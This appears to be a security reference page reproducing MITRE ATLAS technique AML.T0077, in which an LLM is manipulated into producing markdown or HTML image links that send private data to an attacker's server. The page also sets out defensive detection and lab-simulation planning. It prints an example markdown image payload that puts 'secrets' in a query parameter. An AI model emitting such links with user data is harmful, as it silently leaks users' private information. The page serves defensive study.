MITRE ATLAS 2026.09 / technique reference

AML.T0077
LLM Response Rendering

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Generative AIAgentic AIExfiltrationSource maturity: Demonstrated

MITRE source definition

Adversaries may induce a large language model (LLM) to respond with private information structured in a reference to external content that, when rendered by the user's client, makes a request to an adversary-controlled server, exfiltrating the data. The private information can be hidden from the user and the external content can still render properly in the user's client, thus not raising the suspicion of the user.

Rendered content can include images, embedded webpages, or link previews and may use HTML, Markdown, or other rendering mechanisms. The private information can be hidden in parts of the URL pointing to an adversary-controlled server, including query parameters or URL path segments, and may be split across multiple requests. Markdown or HTML image tags may automatically render directly in the user's AI chat client. Integrations into applications such as Slack or Microsoft Teams may render external content automatically without requiring the user to take any action.

As an example, the adversary may manipulate the LLM to produce the following markdown: ``` ![ATLAS](https://atlas.mitre.org/image.png?secrets="private data") ```

Which is rendered by the client as: ``` <img src="https://atlas.mitre.org/image.png?secrets="private data"> ```

When the request is received by the adversary's server hosting the requested image, they receive the contents of the `secrets` query parameter.

Source modified 2026-09-15. Reproduced from the pinned ATLAS release; inline technique links resolve to local reference pages.

No explicit relationship in this pinned source.

Source-backed defensive context

MITRE mitigations

No explicit relationship in this pinned source.

MITRE case studies

These are explicit source relationships, not independently reproduced incidents or validated detection coverage. The local relationship indexes link back to the pinned MITRE source.

Detection and collection design

No executable detector is supplied by this ATLAS source import. Define detection against the specific behavior in the full definition above. MITRE case-study and mitigation relationships supply context, not tested rule coverage.

No explicit AI Telemetry Logging mitigation relationship was found for this technique. Do not manufacture a sensor mapping from its tactic.

Depending on the selected scenario, the experiment may need dataset/model versions, data-access and build audit records, inference or application traces, or agent tool authorization records. These are planning options, not asserted mappings. Minimize sensitive prompt/data capture and retain provenance.

Anomaly detection design

No exact ATLAS anomaly detector is validated here. Select a measurable feature from the behavior definition; compare like-for-like model versions, workloads and identities. Changes caused by model upgrades, retrieval corpora or legitimate workload shifts must be controls, not automatically labelled attacks.

Baseline and validation methodology · AI-security ecosystem

Tools and reproducible source scenarios

No lab-tool association is invented from the technique name. Inspect the exact source scenarios below for the tools and environment actually used; a case study is not itself an executable or safe lab.

Simulation experiment plan

Select an owned, disposable system implementing AML.T0077 LLM Response Rendering. Use synthetic data and sandboxed tools; disable production credentials, external side effects and data exfiltration. For poisoning or supply-chain tests, use throwaway artifacts rather than real training or deployment pipelines.

  1. State the exact trust boundary and expected observable behavior.
  2. Pin model, application, dataset, tool permissions and evaluation inputs.
  3. Capture baseline and scenario traces, an authorized look-alike, and a missing-telemetry control.
  4. Evaluate the detector against independently labelled results; do not substitute model output claims for observed tool actions.
  5. Restore state and preserve redacted evidence.

Experiment worksheet — not fabricated telemetry

The export below is a planning record, not a native event, positive attack fixture or execution result. Unknown fields deliberately remain null.

{
  "schema": "1200km.atlas.experiment-plan.v1",
  "technique_id": "AML.T0077",
  "simulation": false,
  "target": "REQUIRES_OWNED_LAB",
  "source_scenario": [
    "AML.CS0021",
    "AML.CS0029",
    "AML.CS0035",
    "AML.CS0059",
    "AML.CS0060"
  ],
  "input_artifact_hash": null,
  "system_version": null,
  "expected_observable": null,
  "native_telemetry_location": null,
  "baseline_reference": null,
  "result": "not_run"
}

Simulation and telemetry boundary

This is a technique reference page, not a runnable simulation. No ATLAS-specific telemetry mapping, local attack execution or detector validation is asserted. MITRE maturity describes its source evidence, not a 1200km lab result.

For broader context—not technique-specific control mappings—see AI Security, AI Security Course, and detection-validation methodology.

Provenance and attribution

Immutable MITRE ATLAS source · Import provenance · Attribution and transformation notice · Apache License 2.0

Copyright 2021-2026 MITRE. Source text and explicit relationships are retained; navigation, formatting and local links are provided by 1200km.

No explicit relationship in this pinned source.